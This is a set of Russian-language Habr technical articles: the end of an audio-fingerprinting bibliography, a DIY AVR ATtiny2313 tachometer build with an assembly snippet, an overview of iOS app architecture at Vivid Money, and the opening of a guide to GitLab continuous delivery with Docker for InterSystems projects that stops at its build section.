* Shumeet Baluja, Michele Covell: [«Audio Fingerprinting: Combining Computer Vision & Data Stream Processing»](http://static.googleusercontent.com/external_content/untrusted_dlcp/research.google.com/en/us/pubs/archive/33031.pdf). Статья, написанная коллегами из Google, описывает подход на основе вейвлетов с использованием методов компьютерного зрения.
* Arunan Ramalingam, Sridhar Krishnan: [«Gaussian Mixture Modeling Using Short Time Fourier Transform Features For Audio Fingerprinting»](http://cecs.uci.edu/~papers/icme05/defevent/papers/cr1646.pdf) (2005). В данной статье предлагается описывать фрагмент аудио с помощью модели Гауссовых смесей поверх различных признаков, таких как энтропия Шеннона, энтропия Реньи, спектрольные центроиды, мэлкепстральные коэффициенты и другие. Приводятся сравнительные значения качества распознавания.
* Dalibor Mitrovic, Matthias Zeppelzauer, Christian Breiteneder: [«Features for Content-Based Audio Retrieval»](http://publik.tuwien.ac.at/files/PubDat_186351.pdf). Обзорная работа про аудио-признаки: как их выбирать, какими свойствами они должны обладать и какие существуют.
* Natalia Miranda, Fabiana Piccoli: [«Using GPU to Speed Up the Process of Audio Identification»](https://lc.fie.umich.mx/~camarena/78716_1.pdf). В статье предлагается использование GPU для ускорения вычисления сигнатур.
* Shuhei Hamawaki, Shintaro Funasawa, Jiro Katto, Hiromi Ishizaki, Keiichiro Hoashi, Yasuhiro Takishima: [«Feature Analysis and Normalization Approach for Robust Content-Based Music Retrieval to Encoded Audio with Different Bit Rates.»](http://link.springer.com/content/pdf/10.1007%2F978-3-540-92892-8_32.pdf#page-1) MMM 2009: 298-309. В статье акцентируется внимание на повышении робастности представления аудиосигнала на основе мел-кепстральных коэффициентов (MFCC). Для этого используется метод нормализации кепстра (CMN). | https://habr.com/ru/post/181219/ | null | ru | null |
# DIY цифровой тахометр на AVR ATtiny2313, КР514ИД2 и оптопаре
#### DIY цифровой тахометр на AVR ATtiny2313, КР514ИД2 и оптопаре
Добрый день.
Выношу на Ваше рассмотрение схему простенького цифрового тахометра на **AVR ATtiny2313**, **КР514ИД2**, и оптопаре спроектированного мною.
Сразу оговорюсь: аналогичных схем в интернете много. У каждой реализации свои плюсы и минусы. Возможно, кому-то мой вариант подойдет больше.
Начну, пожалуй, с **тех. задания.**
**Задача**: нужно сделать цифровой тахометр для контроля оборотов электрического двигателя станка.
**Вводные условия**: Есть готовый реперный диск на 20 отверстий от лазерного принтера. В наличии много оптопар от сломанных принтеров. Средние (рабочие) обороты 4 000-5 000 оборотов/минуту. Погрешность отображаемых результатов не должна превышать ± 100 оборотов.
**Ограничение**: питание для блока управление составляет 36В (тахометр будет установлен в один корпус с блоком управления – об этом ниже).
**Маленькое лирическое отступление.** Это станок моего друга. На станке установлен электромотор PIK-8, обороты которого контролируются согласно найденной в интернете и модифицированной схеме. По просьбе друга и был разработан простенький тахометр для станка.
Изначально в схеме планировалось применить ATMega16, но рассмотрев условия, решено было ограничиться ATtiny2313, работающего от внутреннего (RC) генератора на частоте 4 Мгц.
**Общая схема** выглядит следующим образом:
Как видно, ничего сложного. Для преобразования двоичного кода в семисегментный, я применил дешифратор КР514ИД2, это дает сразу три плюса.
* Во первых – экономия места в памяти ATtiny2313 за счет уменьшения рабочего кода (т.к. процедура программного преобразования двоичного кода в семисегментный отсутствует в прошивке за ненадобностью).
* Во вторых: уменьшение нагрузки на выходы ATtiny2313, т.к. светодиоды «засвечивает» КР514ИД2 (при высвечивании цифры 8 максимальное потребление составит 20-30 мА (типичное для одного светодиода) \* 7 = 140-210 мА что «много» для ATtini2313 с её полным паспортным максимальным (нагруженным) потреблением 200 мА).
* В третьих – уменьшено число «занятых» ног микроконтроллера, что дает нам возможность в будущем (при необходимости) модернизировать схему путём добавления новых возможностей.
**Сборка устройства** осуществлена на макетной плате. Для этого была разобрана завалявшаяся в закромах плата от нерабочей микроволновой печи. Цифровой светодиодный индикатор, ключевые транзисторы (VT1-VT4) и ограничительные резисторы (R1 – R12) были взяты комплектом и перенесены на новую плату. Все устройство собирается, при наличии необходимых компонентов, с перекурами за пол часа. **Обращаю внимание:** у микросхемы КР514ИД2 плюсовая ножка питания — 14, а минус — 6 (отмечены на схеме). Вместо КР514ИД2 можно применить любой другой дешифратор двоичного кода в семисегментный с питанием от 5В. Я взял то, что было под рукой.
Выводы «h» и «i» цифрового светодиодного индикатора отвечают за две точки по центру между цифрами, не подключены за ненадобностью.
После сборки и прошивки, при условии отсутствия ошибок монтажа, устройство начинает работать сразу после включения и в настройке не нуждается.
При необходимости внесения изменений в прошивку тахометра на плате предусмотрен разъем ISP.
На схеме подтягивающий резистор R12, номиналом 30 кОм, подобран опытным путём для конкретной оптопары. Как показывает практика – для разных оптопар он может отличаться, но среднее значение в 30 кОм должно обеспечить устойчивую работу для большинства принтерных оптопар. Согласно документации к ATtiny2313, величина внутреннего подтягивающего резистора составляет от 20 до 50 кОм в зависимости от реализации конкретной партии микроконтроллеров, (стр. 177 паспорта к ATtiny2313), что не совсем подходит. Если кто захочет повторить схему, может для начала включать внутренний подтягивающий резистор, возможно у Вас, для Вашей оптопары и вашего МК работать будет. У меня, для моего набора не заработало.
Так выглядит типичная оптопара от принтера.
Светодиод оптопары запитан через ограничивающий резистор на 1К, который я разместил непосредственно на плате с оптопарой.
Для фильтрации пульсаций напряжения на схеме два конденсатора, электролитический на 220 мкФ х 25В (что было под рукой) и керамический на 0,1 мкФ, (общая схема включения микроконтроллера взята из паспорта ATtiny2313).
Для защиты от пыли и грязи плата тахометра покрыта толстым слоем автомобильного лака.
**Замена компонентов.**
Можно применить любой светодиодный индикатор на четыре цифры, либо два сдвоенных, либо четыре поодиночных. На худой конец, собрать индикатор на отдельных светодиодах.
Вместо КР514ИД2 можно применить КР514ИД1 (которая содержит внутри токоограничивающие резисторы), либо 564ИД5, К155ПП5, К155ИД9 (при параллельном соединении между собой ножек одного сегмента), или любой другой преобразователь двоичного в семисегментный (при соответствующих изменениях подключения выводов микросхем).
При условии правильного переноса монтажа на МК ATMega8/ATMega16 данная прошивка будет работать, как и на ATtiny2313, но нужно подправить код (изменить названия констант) и перекомпилировать. Для других МК AVR сравнение не проводилось.
Транзисторы VT1-VT4 – любые слаботочные, работающие в режиме ключа.
**Принцип работы** основан на подсчете количества импульсов полученных от оптопары за одну секунду и пересчет их для отображения количества оборотов в минуту. Для этого использован внутренний счетчик Timer/Counter1 работающий в режиме подсчета импульсов поступающих на вход Т1 (вывод PD5 ножка 9 МК). Для обеспечения стабильности работы, включен режим программного подавления дребезга. Отсчет секунд выполняет Timer/Counter0 плюс одна переменная.
**Расчет оборотов**, на чем хотелось бы остановиться, происходит по следующей формуле:
`M = (N / 20) *60,`
где M – расчетные обороты в минуту (60 секунд), N – количество импульсов от оптопары за одну секунду, 20 – число отверстий в реперном диске.
Итого, упростив формулу получаем:
`M = N*3.`
Но! В микроконтроллере ATtiny2313 отсутствует функция аппаратного умножения. Поэтому, было применено суммирование со смещением.
Для тех, кто не знает суть метода:
Число 3 можно разложить как
3 = 2+1 = 21 + 20.
Если мы возьмем наше число N сдвинем его влево на 1 байт и приплюсуем еще одно N сдвинутое влево на 0 байт – получим наше число N умноженное на 3.
В прошивке код на AVR ASM для двухбайтной операции умножения выглядит следующим образом:
`Mul2bytes3:`
`CLR LoCalcByte //очищаем рабочие регистры`
`CLR HiCalcByte`
`mov LoCalcByte,LoInByte //грузим значения полученные из Timer/Counter1`
`mov HiCalcByte,HiInByte`
`CLC //чистим быт переноса`
`ROL LoCalcByte //сдвигаем через бит переноса`
`ROL HiCalcByte`
`CLC`
`ADD LoCalcByte,LoInByte //суммируем с учетом бита переноса`
`ADC HiCalcByte,HiInByte`
`ret`
**Проверка работоспособности и замер точности** проводился следующим образом. К вентилятору компьютерного куллера был приклеен картонный диск с двадцатью отверстиями. Обороты куллера мониторились через BIOS материнской платы и сравнивались с показателями тахометра. Отклонение составило порядка 20 оборотов на частоте 3200 оборотов/минуту, что составляет 0,6%.
Вполне возможно, что реальное расхождение составляет меньше 20 оборотов, т.к. измерения материнской платы округляются в пределах 5 оборотов (по личным наблюдениям для одной конкретной платы).
Верхний предел измерения 9 999 оборотов в минуту. Нижний предел измерения, теоретически от ±10 оборотов, но на практике не замерялся (один импульс от оптопары в секунду дает 3 оборота в минуту, что, учитывая погрешность, теоретически должно правильно измерять скорость от 4 оборотов в минуту и выше, но на практике данный показатель необходимо завысить как минимум вдвое).
**Отдельно остановлюсь на вопросе питания.**
Вся схема питается от источника 5В, расчетное потребление всего устройства не превышает 300 мА. Но, по условиям ТЗ, тахометр конструктивно должен находится внутри блока управления оборотами двигателя, а к блоку от ЛАТРа поступает постоянное напряжение 36В., чтобы не тянуть отдельный провод питания, внутри блока установлена LM317 в паспортном включении, в режиме понижения питания до 5В (с ограничивающим резистором и стабилитроном для защиты от случайного перенапряжения). Логичнее было бы использовать ШИМ-контроллер в режиме step-down конвертера, на подобии МС34063, но у нас в городе купить такие вещи проблематично, поэтому, применяли то, что смогли найти.
**Фотографии** платы тахометра и готового устройства.
**Еще фотографии**
К сожалению, сейчас нет возможности сфотографировать на станке.
После компоновки плат и первой пробной сборки, коробка с устройством отправилась на покраску.
**Исходный код,** на AVR ASM, файлы проекта AVR Studio4 и скомпилированный .HEX файл находятся здесь:<http://djkiridza.org.ua/ldd/taho-v029.zip>.
Зеркало здесь:<http://fileobmen.org.ua/DJ_Kiridza/taho-v029.zip>
**В случае, если у Вас тахометр не заработал** сразу после включения, при заведомо верном монтаже:
1) Проверить работу микроконтроллера, убедится, что он работает от внутреннего генератора. Если схема собранна правильно – на циферблате должно отображаться четыре нуля.
2) Проверить уровень импульсов от оптопары, при необходимости подобрать номинал резистора R12 или заменить схему подключения оптопары. Возможен вариант обратного подключения оптотранзистора с подтяжкой к минусу, с включенным или нет внутренним подтягивающим резистором МК. Также возможно применить транзистор в ключевом (инвертирующем) режиме работы.
**P.S.** по желанию заказчика тахометр отображает не один ноль, а четыре при отсутствии импульсов от оптопары.
**P.P.S.** Тахометр оказался очень чувствителен к перепадам оборотов двигателя. Незначительные пульсации напряжения вызывают отклонение частоты вращения, что незамедлительно отображается на экране тахометра. В будущем планирую сделать обработку для округления отображаемых результатов в пределах ±50 оборотов, если это будет нужно заказчику. | https://habr.com/ru/post/153125/ | null | ru | null |
# Как мы стартовали Vivid Money для iOS
Всем привет! Меня зовут Илья. Я - iOS техлид в Vivid Money. Мы больше года занимались разработкой нашего финтех-продукта и теперь готовы поделиться с сообществом приобретенным опытом и знаниями.
Это вступительная статья, в которой я поверхностно затрону несколько технических решений, которые мы сделали на старте, а позже будут опубликованы статьи с детальным разбором самых интересных из них.
Архитектура
-----------
Для начала мы определились с архитектурой проекта. Я имею ввиду не только архитектуру экранов/модулей, но и все остальные архитектурные решения. Конечно, рассказать обо всех из них в этом разделе не получится, поэтому затронем только архитектуру модулей, экранов и инъекцию зависимостей.
#### Архитектура проекта
Так как предполагалось, что проект будет большим и поделенным на продукты, мы решили разделить его на несколько модулей. Это помогает лучше структурировать код, а также облегчает разработку в продуктовых командах. Архитектура модулей выглядит так:
На схеме присутствует 4 слоя:
* Core. Это проекты, которые либо не связаны с приложением и могут быть использованы где угодно, либо те, от которых зависят все вышестоящие слои.
* Platform. В этом слое 2 проекта. DesignKit содержит все, что связано с UI приложения: от цветов и шрифтов до готовых компонентов или даже экранов. Platform служит основной для всех фича-проектов и основного приложения. Там содержатся сервисы, общие экраны, конфигурации, сущности и так далее.
* Features. Проекты, в которых разрабатываются отдельные фичи или целые продукты. Эти проекты не связаны между собой, что позволяет быстрее их разрабатывать, проще тестировать и не смешивать код из разных продуктов.
* App. Объединяет все проекты воедино.
#### Архитектура экранов
Мы решили подобрать что-то, что удовлетворяло бы нашим потребностям и не содержало ничего лишнего. В итоге мы пришли к VIP (View, Interactor, Presenter). Мы сохранили основы VIPER, но убрали Router и Entity. Такое разделение модуля помогает лучше его протестировать. Также разделение пригодилось в некоторых местах, где потребовалось использовать разные реализации view или interactor (да, это не миф).
Router мы заменили на [Coordinator](https://www.hackingwithswift.com/articles/175/advanced-coordinator-pattern-tutorial-ios). Это хороший паттерн, который позволяет сделать модули независимыми друг от друга и сосредоточить всю логику переходов в рамках одной user story внутри одного класса.
#### Инъекция зависимостей
Мы не используем библиотеку для инъекции зависимостей. На этом хотелось бы закончить, но, кажется, надо дать этому небольшое объяснение.
Во-первых, мы не очень любим подключать сторонние фреймворки, особенно те, которые можно легко заменить своим решением. Во-вторых, мы не нашли практической пользы от фреймворков для DI.
В нашем проекте инъекция зависимостей проста и состоит из двух частей:
* Класс Container, который содержит все зависимости, объявленные в виде переменных. Этот класс расширяется в каждом проекте и закрывается протоколом. Если, например, нужно получить зависимость из модуля Platform, нужно написать следующий код: `let d = (Container.shared() as PlatformContainer).dependency` Если не писать код в одной строке, он будет выглядеть чуточку лучше.
* Класс Assembly, который внедряет зависимости в каждый конкретный модуль (то есть собирает его). Этот класс использует Container для получения зависимостей. Все зависимости в компонентах VIP модуля - это force-unwrapped переменные, значения которым и присваивает Assembly. В остальные классы зависимости внедряются через инициализатор.
Управление сторонними зависимостями
-----------------------------------
По части управления зависимостями у нас все было как в большинстве проектов – мы использовали CocoaPods. Во-первых, это уже проверенный менеджер зависимостей; во-вторых, его поддерживают почти все open-source библиотеки.
Как бы мы этого ни хотели, но спустя некоторое время у нас появилось относительно много зависимостей, без которых мы бы не могли обойтись (Firebase, Amplitude и прочие похожие фреймворки), и их постоянная пересборка занимала много времени (конкретное время сложно посчитать из-за постоянно меняющейся кодовой базы и самих зависимостей). Тогда мы решили попробовать Carthage.
На первой итерации мы сделали симбиоз из этих двух менеджеров, так как не все библиотеки поддерживали Carthage. Но через время полностью перешли на Carthage и вдобавок внедрили Rome - утилиту для кэширования собранных библиотек.
Также были попытки использовать SPM, но на тот момент был ряд проблем, которые не позволили это сделать: отсутствие поддержки кастомных конфигураций сборки, проблемы с обновлением библиотеки при изменении ее версии, отсутствие поддержки SPM некоторыми библиотеками. Но мы надеемся на то, что проблемы будут решены, и мы сможем полностью перейти на этот менеджер зависимостей.
Тестирование
------------
В самом начале разработки мы мечтали об отсутствии ручных тестировщиков, что позволило бы нам сделать короткие релизные циклы и избавиться от человеческого фактора при проверке функционала. К сожалению, были обстоятельства, не позволившие добиться этого на старте, но мы уверенно движемся в этом направлении. В любом случае, нам надо было подумать над организацией тестирования продукта. В итоге мы пришли к тому, что будем писать и Unit, и UI тесты.
В Unit тестах мы используем фреймворк SwiftyMocky, который помогает генерировать моки для типов и предоставляет множество полезных функций для тестирования. По уже устоявшейся парадигме мы тестируем, используя структуру Given-When-Then, чтобы все тесты выглядели однотипно и были логически структурированы.
Unit тесты в основном пишутся на общие компоненты (утилиты, сервисы, и т.д.) и классы со сложной бизнес-логикой (в большинстве случаев это Presenter и Interactor), которую будет достаточно проблематично проверить в UI тестах.
UI тесты у нас появились значительно позже. В них мы тоже не стали выдумывать ничего особенного и сделали несколько вспомогательных классов для реализации паттерна Page object.
UI тесты в нашем проекте делятся на 2 типа: компонентные и end-to-end. Компонентные тесты проверяют работу отдельного экрана или его части с использованием моков, а end-to-end тесты проверяют некоторую цепочку экранов и используют реальное API, но на dev контуре.
Также в качестве теста мы внедрили snapshot тесты, но говорить об их пользе пока рано. В идеале хотелось бы использовать их для тестирования компонентов из дизайн системы.
Генерация API клиентов
----------------------
Наш бэкенд разделен на микросервисы, из чего следует, что и в приложении мы обращаемся к нескольким API. Следить за каждым и обновлять код вручную – слишком трудозатратная задача, и мы решили это автоматизировать.
Каждый микросервис имеет swagger спецификацию, с помощью которой мы генерируем фреймворки, используя Swagger Codegen. Мы немного изменили шаблоны для генерации, чтобы они удовлетворяли нашим требованиям, и автоматизировали процесс обновления фреймворка в CI.
Каждый сгенерированный API клиент находится в отдельном репозитории и добавлен в проект с помощью Carthage.
По части генерации API клиентов есть улучшения, которые можно сделать, но такой подход уже дал огромный прирост к скорости разработки и избавил от необходимости ручного обновления API.
Код-стандарт
------------
Нам нужно было сделать некоторые шаги к тому, чтобы код был понятен всем в любом месте приложения и разрабатывался быстро. Таких шагов было сделано несколько.
Самый базовый - это написание code conventions. Там сосредоточены все правила и рекомендации по синтаксису. Почти все из них проверяются с помощью SwiftLint, а для некоторых написаны кастомные правила. Соглашения по стилистике кода помогают нам быстрее проводить код-ревью и делают код проще для чтения.
Далее были описаны:
* Правила работы с репозиторием: как называть ветки, как писать сообщения к коммитам и так далее;
* Процесс выполнения задачи: какие задачи можно брать, приоритеты задач, статусы задач, как создать пул-реквест;
* Используемые паттерны и механизмы: как решать типовые задачи (кэшировать данные, создавать сервисы и тому подобное);
* Терминология: типичные названия методов или бизнес-определений в коде.
Все это помогает нам разрабатывать одинаково и не заниматься решением проблем, которые уже решены.
Также мы используем Danger CI для проверки пул-реквестов. Список наших правил на данный момент небольшой: проверка на заполнение нужных полей в пул-реквесте, проверка на количество внесенных изменений, поиск TODO, замечания от Swiftlint и пара рекомендательных сообщений. Это помогает не упускать в них важных деталей и напоминать о вещах, о которых можно легко забыть.
Автоматизация
-------------
В проекте с большой кодовой базой и растущим числом разработчиков не обойтись без автоматизации. Поэтому верным решением будет уделить этому внимание в самом начале проекта.
Мы написали несколько своих скриптов, которые автоматизируют работу:
* Скрипт для генерации VIP модулей, который ускоряет разработку экранов.
* Скрипт для генерации фича-проектов.
* Скрипты для скачивания локализации, фича-тогглов, удаленной конфигурации и некоторых ресурсов, нужных для приложения. Про этот пункт можно рассказать немного подробнее. Дело в том, что мы скачиваем свежие версии всех этих ресурсов в момент запуска приложения, но на случай проблем с загрузкой мы предусмотрели вариант дефолтной версии ресурсов, которая близка к настоящей. И, чтобы каждый раз не скачивать все эти файлы вручную, мы написали эти скрипты, которые запускаются перед сборкой приложения на CI.
Во избежание merge-конфликтов в файлах проекта мы используем [XcodeGen](https://github.com/yonaskolb/XcodeGen), который генерирует файлы проекта по yaml спецификациям.
С появлением такого количества скриптов встал вопрос удобства использования, ведь запоминать их названия, аргументы и порядок вызова кажется не самой интересной задачей. Поэтому мы создали скрипт, который вызывает остальные скрипты. Цель его работы проста - привести проект в актуальное состояние. В процессе работы он скачивает ресурсы, обновляет зависимости, генерирует файлы проекта и моки, настраивает схемы. Сначала мы не вызывали этот скрипт руками, а сделали его вызов автоматическим на каждый merge, pull или checkout. Но так как скрипт выполнялся некоторое время, это приводило к постоянным ожиданиям, хотя после, например, checkout в новую ветку ничего в проекте не поменялось. Поэтому на данный момент он вызывается вручную, но если бы получилось значительно сократить время его работы, то мы бы вернулись к автоматическому вызову.
Также мы создали приложение для Mac OS, которое предоставляет интерфейс для вызова всех наших скриптов. Оно было очень простым и мало востребованным, но в данный момент мы его перерабатываем, чтобы упростить работу с проектом.
#### Настройка проекта
Так как проект у нас не самый простой в настройке, а требующий некоторых утилит и вызовов различных скриптов, мы решили упростить его настройку.
Сначала это был исполняемый файл, который надо было запустить, чтобы скачались все зависимости (ruby, brew, python, и так далее) и выполнились необходимые настройки. Но позже мы реализовали настройку проекта через Ansible. Это позволило нам держать все в одном месте и настраивать не только компьютеры сотрудников, но и билд-агенты.
Подводя итоги
-------------
Мы рассказали коротко о тех вещах и том опыте, который мы накопили, когда только начали делать первые шаги в проекте.
Мы планируем и дальше делиться своим опытом разработки, так как считаем это важной частью развития комьюнити. Чтобы мы делали это лучше, пишите комментарии и конструктивную критику. Будем очень признательны.
Всем спасибо! | https://habr.com/ru/post/529522/ | null | ru | null |
# GitLab для Continuous Delivery проекта на технологиях InterSystems: Контейнеры
Эта статья — продолжение [статьи](https://habr.com/company/intersystems/blog/354158/) про организацию процессов [Continuous Integration](https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%BF%D1%80%D0%B5%D1%80%D1%8B%D0%B2%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B0%D1%86%D0%B8%D1%8F) / Continuous Delivery, автоматизирующих сборку, тестирование и доставку приложений применимо к решениям на платформе InterSystems.
Рассмотрим такие темы как:
* Контейнеры 101
* Контейнеры на разных этапах цикла разработки ПО
* Continuous Delivery с контейнерами
Контейнеры 101
==============
Про контейнеры и контейнеризацию написано много статей и книг, поэтому тут я сделаю небольшое вступление, которое, впрочем, не претендует на какую-либо окончательность. Итак, начнём.
Контейнеры, технически, это метод виртуализации, при котором ядро операционной системы поддерживает несколько изолированных экземпляров пространства пользователя (контейнеров), вместо одного. Наглядно это выглядит так:
При этом важно отметить что контейнеры — это не виртуальные машины, вот [хорошая статья](https://blog.docker.com/2016/03/containers-are-not-vms/) об их различиях.
Преимущества контейнеров
------------------------
Существует ряд преимуществ использования контейнеров:
* Портативность
* Эффективность
* Изоляция
* Лёгкость
* Неизменность (Immutability)
### Портативность
Контейнер содержит в себе приложение вместе со всеми зависимостями. Это позволяет легко запускать приложения в различных окружениях, таких как физические серверы, виртуальные машины, окружения для тестирования и продуктовые окружения, облака.
Также портативность состоит в том, что после того, как Docker образ собран и он работает правильно, он будет работать где угодно, если там работает Docker т.е. на серверах Windows, Linux и MacOS.
### Эффективность
При работе с приложениями виртуальных машин действительно ли нужны процессы ОС, системные программы и т.п.? Как правило нет, интересен только процесс вашего приложения. Контейнеры обеспечивают именно это: в контейнере запускаются только те процессы, которые явно нужны, и ничего более. Поскольку контейнеры не требуют отдельной операционной системы, они используют меньше ресурсов. Виртуальная машина часто занимает несколько гигабайт, контейнер же может быть размером всего в несколько мегабайт, что позволяет запускать гораздо больше контейнеров, чем виртуальных машин на одном сервере.
Поскольку контейнеры имеют более высокий уровень утилизации серверов, требуется меньше аппаратного обеспечения, что приводит к сокращению затрат.
### Изоляция
Контейнеры изолируют приложение от всех остальных процессов, и, хотя несколько контейнеров могут работать на одном сервере, они могут быть полностью независимы друг от друга. Любое взаимодействие между контейнерами должно быть явно объявлено. Если один контейнер выходит из строя, он не влияет на другие контейнеры и может быть быстро перезапущен. Безопасность также повышается благодаря такой изоляции. Например, использование уязвимости веб-сервера на хосте может дать злоумышленнику доступ ко всему серверу, но в случае контейнера злоумышленник получит доступ только к контейнеру веб-сервера.
### Лёгкость
Поскольку для контейнеров не требуется отдельная ОС, их можно запустить, остановить или перезагрузить в считанные секунды, что ускорит все связанные процессы, в том числе и процессы Continuous Integration. Вы можете начать разрабатывать быстрее и не тратить время на настройку окружения.
### Неизменность (Immutability)
Неизменяемая инфраструктура состоит из неизменяемых компонентов, которые заменяются для каждого развертывания, а не обновляются. Неизменность уменьшает несогласованность и позволяет легко и быстро реплицировать и перемещаться между различными состояниями вашего приложения. [Подробнее о неизменности](https://blog.codeship.com/immutable-infrastructure/).
Новые возможности
-----------------
Все эти преимущества позволяют управлять инфраструктурой и приложениями по-новому.
### Оркестрация
Виртуальные машины и сервера с течением времени часто обретают "индивидуальность", что приводит ко множеству как правило неприятных сюрпризов в будущем. Одним из вариантов решения данной проблемы является [Инфраструктура как код](https://en.wikipedia.org/wiki/Infrastructure_as_Code) (IoC) — управление инфраструктурой с помощью описательной модели, используя систему контроля версий.
При использовании IoC команда развертывания окружения всегда приводит целевую среду в одну и ту же конфигурацию, независимо от исходного состояния среды. Это достигается путем автоматической настройки существующей среды или путем пересоздания среды с нуля.
С помощью IoC разработчики вносят изменения в описание среды. Впоследствии целевые среды модифицируются до нового состояния. Если в среду необходимо внести изменения, редактируется её описание.
Все это гораздо проще делать с контейнерами. Выключение контейнера и запуск нового занимает несколько секунд, а выделение новой виртуальной машины занимает несколько минут.
### Масштабирование
Инструменты оркестрации также могут обеспечивать горизонтальное масштабирование на основе текущей нагрузки. Возможно запускать столько контейнеров, сколько требуется в настоящее время требуется, и масштабировать приложение соответствующе. Всё это также снижает затраты на работу приложения.
Контейнеры на разных этапах жизненного цикла ПО
===============================================
Рассмотрим преимущества контейнеров на различных этапах жизненного цикла ПО.
Разработка
----------
Самое главное преимущество — это простота начала разработки. После [установки Docker](https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=ADOCK#ADOCK_additional_driver), достаточно выполнить две команды: `docker pull` для загрузки образа и `docker run` для его запуска. Все зависимости уже разрешены на этапе сборки приложения.
Отладка
-------
Все окружения консистентны и существуют их определения, кроме того легко развернуть необходимое окружение. Достаточно сделать `docker pull` интересующего контейнера и запустить его.
Тестирование / QA
-----------------
В случае возникновения ошибки, проблемное окружения и условия воспроизведения ошибки можно передать с контейнером. Все изменения инфраструктуры «задокументированы». Уменьшается число переменных – версий библиотек, фреймворков, ОС… Возможен запуск нескольких контейнеров для параллелизации тестов.
Доставка
--------
Использование контейнеров позволяет проводить сборку один раз, кроме того для использования контейнеров необходим высокий уровень автоматизации процессов сборки и развёртывания приложения. Доставка приложения с помощью контейнеров может быть более безопасна за счёт дополнительной изоляции.
Continuous Delivery
===================
Перейдём от теории к практике. Вот общий вид нашего решения по автоматизации сборки и доставки:
Можно выделить три основных этапа:
* Сборка
* Доставка
* Запуск
Сборка
------
В предыдущей статье сборка была инкрементальной — мы считали разницу между текущей средой и новой кодовой базой и изменяли нашу среду так, чтобы она соответствовала новой кодовой базе. С контейнерами каждая сборка является полной. Результатом сборки является образ Docker Image, который можно запускать где угодно.
Доставка
--------
После того, как наш образ собран и протестирован, он загружается в Docker Registry — специализированное приложение для размещения Docker Image. Там он может заменить предыдущий образ с тем же именем (тегом). Например, из-за нового коммита в ветку master мы собрали новый образ (`MyProject/MyApp:master`), и если тесты пройдены, мы можем обновить образ в Docker Registry и все, кто скачивает `MyProject/MyApp:master` получат новую версию.
Запуск
------
Наконец, образ необходимо запустить. Система CD, такая как GitLab, может этим управлять как напрямую, так и с помощью специализированного оркестратора, но процесс, в общем, одинаков — некоторые образы запускаются, периодически проверяются на работоспособность и обновляются, если новая версия становится доступной.
Посмотрите [вебинар](https://blog.docker.com/2018/02/ci-cd-with-docker-ee/), объясняющий эти этапы.
Альтернативно, с точки зрения коммита:
В нашей конфигурации непрерывной доставки мы:
* Коммитим код в репозиторий GitLab
* Собераем образ
* Тестируем его
* Публикуем новый образ в нашем Docker Registry
* Обновим старый контейнером на новую версию из Docker Registry
Для этого нам понадобятся:
* Docker
* Docker Registry
* Зарегистрированный домен (необязательно, но желательно)
* GUI инструменты (по желанию)
### Docker
Прежде всего, нам нужно запустить Docker. Я бы посоветовал начать с одного сервера с распространенной версией Linux, такой как Ubuntu, RHEL или Suse. Не рекомендую начинать с таких дистрибутивов как CoreOS, RancherOS и т. д. — они нацелены не на начинающих. [Не забудьте переключить драйвер хранилища на devicemapper](https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=ADOCK#ADOCK_additional_driver).
Если же говорить о широкомасштабных развертываниях, то с помощью инструментов оркестрации, таких как Kubernetes, Rancher или Swarm, можно автоматизировать большинство задач, но мы не будем обсуждать их (по крайней мере, в рамках этой статьи).
### Docker Registry
Это первый контейнер, который нам необходимо запустить, это автономное приложение, которое позволяет хранить и распространять образы Docker. Нужно использовать Docker Registry, если вы хотите:
* Контролировать, где хранятся ваши образы
* Владеть сервером распространения образов
* Интегрировать хранение и распространение образов в процесс разработки
Вот [документация](https://docs.docker.com/registry/) по запуску и настройке Docker Registry.
### Подключение Docker Registry и GitLab
Чтобы подключить Docker Registry к GitLab, необходимо запустить Docker Registry с [поддержкой HTTPS](https://docs.docker.com/registry/configuration/). Я использую Let's Encrypt для получения сертификатов, и я следовал [этой инструкции](https://gist.github.com/PieterScheffers/63e4c2fd5553af8a35101b5e868a811e), для получения сертификата. Убедившись, что Docker Registry доступен по HTTPS (вы можете проверить это в браузере), следуйте [этим инструкциям](https://docs.gitlab.com/ee/administration/container_registry.html) по подключению Docker Registry к GitLab. Эти инструкции отличаются в зависимости от вашей установки GitLab и необходимой конфигурации. В моем случае настройка заключалась в добавлении сертификата Docker Registry и ключа в `/etc/gitlab/ssl`, а этих строк в `/etc/gitlab/gitlab.rb`:
```
registry_external_url 'https://docker.domain.com'
gitlab_rails ['registry_api_url'] = "https://docker.domain.com"
```
После [переконфигурации GitLab](https://docs.gitlab.com/ee/administration/restart_gitlab.html) появилась новая вкладка Registry, на которой предоставлена информация о том, как правильно назвать созданные образы, чтобы они тут появились.
### Домен
В нашей конфигурации непрерывной доставки мы будем автоматически создавать образ на каждую ветку, и если образ проходит тесты, то он публикуется в Docker Registry и запускается автоматически, поэтому наше приложение будет автоматически развёрнуто из всех ветках, например:
* Несколько веток фич по адресу `.docker.domain.com`
* Тестовая версия на `master.docker.domain.com`
* Опытная версия на `preprod.docker.domain.com`
* Продуктовая версия на `prod.docker.domain.com`
Для этого нам нужно доменное имя и wildcard DNS-запись, которая перенаправляет запросы к `* .docker.domain.com` на IP-адрес `docker.domain.com`. Как вариант можно использовать различные порты.
### Nginx
Поскольку у нас есть несколько окружений, нам необходимо автоматически перенаправлять запросы к поддоменам в правильный контейнер. Для этого мы можем использовать Nginx в качестве обратного прокси. Вот [руководство](https://cloud.google.com/community/tutorials/nginx-reverse-proxy-docker).
### GUI Инструменты
Чтобы начать работу с контейнерами, вы можете использовать либо командную строку, либо один из графических интерфейсов. Есть много доступных, например:
* Rancher
* MicroBadger
* Portainer
* Simple Docker UI
* ...
Они позволяют создавать контейнеры и управлять ими из GUI вместо CLI. Вот как выглядит Rancher:
### GitLab runner
Как и раньше, для выполнения скриптов на других серверах нам нужно установить GitLab runner. Подробно этот вопрос описан в [предыдущей статье](https://habr.com/company/intersystems/blog/354158/).
Обратите внимание, что нужно использовать executor Shell, а не Docker. Executor Docker используется, когда нужно что-то изнутри образа, например, при создании приложение для Android в java контейнере, и нужен только apk. В нашем случае артефакт — контейнер целиком, и для этого нужен executor Shell.
Конфигурация Continuous Delivery
================================
Теперь, когда все необходимые компоненты настроены, можно приступать к созданию конфигурации непрерывной доставки.
Сборка
------
